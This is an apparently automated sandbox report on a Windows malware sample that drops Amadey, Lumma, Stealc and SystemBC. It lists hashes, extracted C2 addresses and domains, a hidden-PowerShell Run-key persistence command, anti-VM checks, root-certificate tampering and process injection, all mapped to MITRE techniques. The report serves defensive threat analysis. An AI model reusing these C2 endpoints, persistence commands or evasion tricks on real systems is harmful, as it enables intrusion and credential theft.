amadey | aadc5df9b60a87ade5c319c6723d16aa4401f531d89aaf4d8b3f0f3e1cf54551

Analysis

max time kernel
140s
max time network
155s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
28/11/2024, 22:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 1.8MB
Sample241128-1w649aslev
SHA256 aadc5df9b60a87ade5c319c6723d16aa4401f531d89aaf4d8b3f0f3e1cf54551
MD5 50a4af673c3038f686865c6698427e13
SHA1 587c30e231c7163741adc14582d5a4792f823722
SHA512 fe92fd5ba8c04638d03d4db073d1d34c3ece1181f3f5e3865745ec7143900073b87e8c82cc127bfd7f1176cb24cb4d5607e4eb6c8bf68b52943ec3b8392af188
SSDEEP 49152:idXfSF0PLhbT4JKX7m6teFvYFI+Xb8PRDhO4IJJOmPF:SfSFILyJE7m6svY2+XYPRDhO4kJOmt
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

amadey lumma stealc systembc 9c9aa5 drum discovery dropper evasion persistence stealer trojan

Malware Config

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

http://185.215.113.43

Attributes

install_dir
abc3bc1985
install_file
skotes.exe
strings_key
8a35cf2ea38c2817dba29a4b5b25dcf0
url_paths
/Zu7JuNko/index.php

rc4.plain

Extracted

Family

lumma

https://preside-comforter.sbs
https://savvy-steereo.sbs
https://copper-replace.sbs
https://record-envyp.sbs
https://slam-whipp.sbs
https://wrench-creter.sbs
https://looky-marked.sbs
https://plastic-mitten.sbs
https://tail-cease.cyou

Extracted

Family

stealc

Botnet

drum

http://185.215.113.206

Attributes

url_path
/c4becf79229cb002.php

Extracted

Family

lumma

https://tail-cease.cyou/api

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc
SystemBC
SystemBC is a proxy and remote administration tool first seen in 2019.
trojan systembc
Systembc family
systembc

Enumerates VirtualBox registry keys 2 TTPs 2 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	1c81e0089e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	dc865fb219.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1c81e0089e.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	dc865fb219.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	f652870a4c.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	25ed2d39b5.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	9eab1bb150.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	file.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	nbea1t8.exe

Download via BitsAdmin 1 TTPs 2 IoCs

dropper

BITS Jobs

T1197

pid	Process
236	bitsadmin.exe
764	bitsadmin.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 16 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	nbea1t8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1c81e0089e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dc865fb219.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	f652870a4c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	nbea1t8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	25ed2d39b5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	9eab1bb150.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	25ed2d39b5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dc865fb219.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	f652870a4c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	9eab1bb150.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1c81e0089e.exe

Executes dropped EXE 11 IoCs

pid	Process
2836	skotes.exe
3028	nbea1t8.exe
1532	tvtC9D3.exe
3024	uxN4wDZ.exe
3008	uxN4wDZ.exe
2732	TcMBq5M.exe
3048	1c81e0089e.exe
1752	dc865fb219.exe
2148	f652870a4c.exe
2828	25ed2d39b5.exe
2420	9eab1bb150.exe

Identifies Wine through registry keys 2 TTPs 8 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	9eab1bb150.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	file.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	nbea1t8.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	1c81e0089e.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	dc865fb219.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	f652870a4c.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	25ed2d39b5.exe

Loads dropped DLL 17 IoCs

pid	Process
2580	file.exe
2580	file.exe
2836	skotes.exe
2836	skotes.exe
1532	tvtC9D3.exe
1532	tvtC9D3.exe
2836	skotes.exe
2836	skotes.exe
3024	uxN4wDZ.exe
2836	skotes.exe
2248	MsiExec.exe
1532	tvtC9D3.exe
2836	skotes.exe
2836	skotes.exe
2836	skotes.exe
2836	skotes.exe
2836	skotes.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\socks5 = "powershell.exe -windowstyle hidden -Command \"& 'C:\\Users\\Admin\\AppData\\Local\\Temp\\1009905001\\nbea1t8.exe'\""	nbea1t8.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\25ed2d39b5.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1010027001\\25ed2d39b5.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\9eab1bb150.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1010028001\\9eab1bb150.exe"	skotes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\I:	TcMBq5M.exe
File opened (read-only)	\??\P:	TcMBq5M.exe
File opened (read-only)	\??\S:	TcMBq5M.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\E:	TcMBq5M.exe
File opened (read-only)	\??\T:	TcMBq5M.exe
File opened (read-only)	\??\V:	TcMBq5M.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\G:	TcMBq5M.exe
File opened (read-only)	\??\M:	TcMBq5M.exe
File opened (read-only)	\??\R:	TcMBq5M.exe
File opened (read-only)	\??\W:	TcMBq5M.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	TcMBq5M.exe
File opened (read-only)	\??\Q:	TcMBq5M.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\H:	TcMBq5M.exe
File opened (read-only)	\??\N:	TcMBq5M.exe
File opened (read-only)	\??\U:	TcMBq5M.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\J:	TcMBq5M.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	TcMBq5M.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\A:	TcMBq5M.exe
File opened (read-only)	\??\Y:	TcMBq5M.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Z:	TcMBq5M.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\L:	TcMBq5M.exe
File opened (read-only)	\??\O:	TcMBq5M.exe
File opened (read-only)	\??\Y:	msiexec.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x000500000001a49a-288.dat	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
2580	file.exe
2836	skotes.exe
3028	nbea1t8.exe
3048	1c81e0089e.exe
1752	dc865fb219.exe
2148	f652870a4c.exe
2828	25ed2d39b5.exe
2420	9eab1bb150.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3024 set thread context of 3008	3024	uxN4wDZ.exe	39

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	file.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	25ed2d39b5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9eab1bb150.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uxN4wDZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ping.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uxN4wDZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dc865fb219.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TcMBq5M.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1c81e0089e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f652870a4c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tvtC9D3.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2408	ping.exe

Kills process with taskkill 5 IoCs

evasion

pid	Process
1504	taskkill.exe
2528	taskkill.exe
2940	taskkill.exe
1792	taskkill.exe
2276	taskkill.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	uxN4wDZ.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	uxN4wDZ.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	uxN4wDZ.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2408	ping.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2580	file.exe
2836	skotes.exe
3028	nbea1t8.exe
3048	1c81e0089e.exe
3048	1c81e0089e.exe
3048	1c81e0089e.exe
3048	1c81e0089e.exe
3048	1c81e0089e.exe
3048	1c81e0089e.exe
1752	dc865fb219.exe
1752	dc865fb219.exe
1752	dc865fb219.exe
1752	dc865fb219.exe
1752	dc865fb219.exe
1752	dc865fb219.exe
2148	f652870a4c.exe
2828	25ed2d39b5.exe
2420	9eab1bb150.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	2872	msiexec.exe
Token: SeTakeOwnershipPrivilege	2872	msiexec.exe
Token: SeSecurityPrivilege	2872	msiexec.exe
Token: SeCreateTokenPrivilege	2732	TcMBq5M.exe
Token: SeAssignPrimaryTokenPrivilege	2732	TcMBq5M.exe
Token: SeLockMemoryPrivilege	2732	TcMBq5M.exe
Token: SeIncreaseQuotaPrivilege	2732	TcMBq5M.exe
Token: SeMachineAccountPrivilege	2732	TcMBq5M.exe
Token: SeTcbPrivilege	2732	TcMBq5M.exe
Token: SeSecurityPrivilege	2732	TcMBq5M.exe
Token: SeTakeOwnershipPrivilege	2732	TcMBq5M.exe
Token: SeLoadDriverPrivilege	2732	TcMBq5M.exe
Token: SeSystemProfilePrivilege	2732	TcMBq5M.exe
Token: SeSystemtimePrivilege	2732	TcMBq5M.exe
Token: SeProfSingleProcessPrivilege	2732	TcMBq5M.exe
Token: SeIncBasePriorityPrivilege	2732	TcMBq5M.exe
Token: SeCreatePagefilePrivilege	2732	TcMBq5M.exe
Token: SeCreatePermanentPrivilege	2732	TcMBq5M.exe
Token: SeBackupPrivilege	2732	TcMBq5M.exe
Token: SeRestorePrivilege	2732	TcMBq5M.exe
Token: SeShutdownPrivilege	2732	TcMBq5M.exe
Token: SeDebugPrivilege	2732	TcMBq5M.exe
Token: SeAuditPrivilege	2732	TcMBq5M.exe
Token: SeSystemEnvironmentPrivilege	2732	TcMBq5M.exe
Token: SeChangeNotifyPrivilege	2732	TcMBq5M.exe
Token: SeRemoteShutdownPrivilege	2732	TcMBq5M.exe
Token: SeUndockPrivilege	2732	TcMBq5M.exe
Token: SeSyncAgentPrivilege	2732	TcMBq5M.exe
Token: SeEnableDelegationPrivilege	2732	TcMBq5M.exe
Token: SeManageVolumePrivilege	2732	TcMBq5M.exe
Token: SeImpersonatePrivilege	2732	TcMBq5M.exe
Token: SeCreateGlobalPrivilege	2732	TcMBq5M.exe
Token: SeCreateTokenPrivilege	2732	TcMBq5M.exe
Token: SeAssignPrimaryTokenPrivilege	2732	TcMBq5M.exe
Token: SeLockMemoryPrivilege	2732	TcMBq5M.exe
Token: SeIncreaseQuotaPrivilege	2732	TcMBq5M.exe
Token: SeMachineAccountPrivilege	2732	TcMBq5M.exe
Token: SeTcbPrivilege	2732	TcMBq5M.exe
Token: SeSecurityPrivilege	2732	TcMBq5M.exe
Token: SeTakeOwnershipPrivilege	2732	TcMBq5M.exe
Token: SeLoadDriverPrivilege	2732	TcMBq5M.exe
Token: SeSystemProfilePrivilege	2732	TcMBq5M.exe
Token: SeSystemtimePrivilege	2732	TcMBq5M.exe
Token: SeProfSingleProcessPrivilege	2732	TcMBq5M.exe
Token: SeIncBasePriorityPrivilege	2732	TcMBq5M.exe
Token: SeCreatePagefilePrivilege	2732	TcMBq5M.exe
Token: SeCreatePermanentPrivilege	2732	TcMBq5M.exe
Token: SeBackupPrivilege	2732	TcMBq5M.exe
Token: SeRestorePrivilege	2732	TcMBq5M.exe
Token: SeShutdownPrivilege	2732	TcMBq5M.exe
Token: SeDebugPrivilege	2732	TcMBq5M.exe
Token: SeAuditPrivilege	2732	TcMBq5M.exe
Token: SeSystemEnvironmentPrivilege	2732	TcMBq5M.exe
Token: SeChangeNotifyPrivilege	2732	TcMBq5M.exe
Token: SeRemoteShutdownPrivilege	2732	TcMBq5M.exe
Token: SeUndockPrivilege	2732	TcMBq5M.exe
Token: SeSyncAgentPrivilege	2732	TcMBq5M.exe
Token: SeEnableDelegationPrivilege	2732	TcMBq5M.exe
Token: SeManageVolumePrivilege	2732	TcMBq5M.exe
Token: SeImpersonatePrivilege	2732	TcMBq5M.exe
Token: SeCreateGlobalPrivilege	2732	TcMBq5M.exe
Token: SeCreateTokenPrivilege	2732	TcMBq5M.exe
Token: SeAssignPrimaryTokenPrivilege	2732	TcMBq5M.exe
Token: SeLockMemoryPrivilege	2732	TcMBq5M.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2580	file.exe
2732	TcMBq5M.exe
2996	msiexec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2580 wrote to memory of 2836	2580	file.exe	29
PID 2580 wrote to memory of 2836	2580	file.exe	29
PID 2580 wrote to memory of 2836	2580	file.exe	29
PID 2580 wrote to memory of 2836	2580	file.exe	29
PID 2836 wrote to memory of 3028	2836	skotes.exe	31
PID 2836 wrote to memory of 3028	2836	skotes.exe	31
PID 2836 wrote to memory of 3028	2836	skotes.exe	31
PID 2836 wrote to memory of 3028	2836	skotes.exe	31
PID 2836 wrote to memory of 1532	2836	skotes.exe	32
PID 2836 wrote to memory of 1532	2836	skotes.exe	32
PID 2836 wrote to memory of 1532	2836	skotes.exe	32
PID 2836 wrote to memory of 1532	2836	skotes.exe	32
PID 1532 wrote to memory of 2408	1532	tvtC9D3.exe	33
PID 1532 wrote to memory of 2408	1532	tvtC9D3.exe	33
PID 1532 wrote to memory of 2408	1532	tvtC9D3.exe	33
PID 1532 wrote to memory of 2408	1532	tvtC9D3.exe	33
PID 1532 wrote to memory of 236	1532	tvtC9D3.exe	35
PID 1532 wrote to memory of 236	1532	tvtC9D3.exe	35
PID 1532 wrote to memory of 236	1532	tvtC9D3.exe	35
PID 1532 wrote to memory of 236	1532	tvtC9D3.exe	35
PID 2836 wrote to memory of 3024	2836	skotes.exe	37
PID 2836 wrote to memory of 3024	2836	skotes.exe	37
PID 2836 wrote to memory of 3024	2836	skotes.exe	37
PID 2836 wrote to memory of 3024	2836	skotes.exe	37
PID 3024 wrote to memory of 3008	3024	uxN4wDZ.exe	39
PID 3024 wrote to memory of 3008	3024	uxN4wDZ.exe	39
PID 3024 wrote to memory of 3008	3024	uxN4wDZ.exe	39
PID 3024 wrote to memory of 3008	3024	uxN4wDZ.exe	39
PID 3024 wrote to memory of 3008	3024	uxN4wDZ.exe	39
PID 3024 wrote to memory of 3008	3024	uxN4wDZ.exe	39
PID 3024 wrote to memory of 3008	3024	uxN4wDZ.exe	39
PID 3024 wrote to memory of 3008	3024	uxN4wDZ.exe	39
PID 3024 wrote to memory of 3008	3024	uxN4wDZ.exe	39
PID 3024 wrote to memory of 3008	3024	uxN4wDZ.exe	39
PID 3024 wrote to memory of 3008	3024	uxN4wDZ.exe	39
PID 2836 wrote to memory of 2732	2836	skotes.exe	40
PID 2836 wrote to memory of 2732	2836	skotes.exe	40
PID 2836 wrote to memory of 2732	2836	skotes.exe	40
PID 2836 wrote to memory of 2732	2836	skotes.exe	40
PID 2836 wrote to memory of 2732	2836	skotes.exe	40
PID 2836 wrote to memory of 2732	2836	skotes.exe	40
PID 2836 wrote to memory of 2732	2836	skotes.exe	40
PID 2872 wrote to memory of 2248	2872	msiexec.exe	42
PID 2872 wrote to memory of 2248	2872	msiexec.exe	42
PID 2872 wrote to memory of 2248	2872	msiexec.exe	42
PID 2872 wrote to memory of 2248	2872	msiexec.exe	42
PID 2872 wrote to memory of 2248	2872	msiexec.exe	42
PID 2872 wrote to memory of 2248	2872	msiexec.exe	42
PID 2872 wrote to memory of 2248	2872	msiexec.exe	42
PID 2732 wrote to memory of 2996	2732	TcMBq5M.exe	43
PID 2732 wrote to memory of 2996	2732	TcMBq5M.exe	43
PID 2732 wrote to memory of 2996	2732	TcMBq5M.exe	43
PID 2732 wrote to memory of 2996	2732	TcMBq5M.exe	43
PID 2732 wrote to memory of 2996	2732	TcMBq5M.exe	43
PID 2732 wrote to memory of 2996	2732	TcMBq5M.exe	43
PID 2732 wrote to memory of 2996	2732	TcMBq5M.exe	43
PID 1532 wrote to memory of 764	1532	tvtC9D3.exe	46
PID 1532 wrote to memory of 764	1532	tvtC9D3.exe	46
PID 1532 wrote to memory of 764	1532	tvtC9D3.exe	46
PID 1532 wrote to memory of 764	1532	tvtC9D3.exe	46
PID 2836 wrote to memory of 3048	2836	skotes.exe	48
PID 2836 wrote to memory of 3048	2836	skotes.exe	48
PID 2836 wrote to memory of 3048	2836	skotes.exe	48
PID 2836 wrote to memory of 3048	2836	skotes.exe	48

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

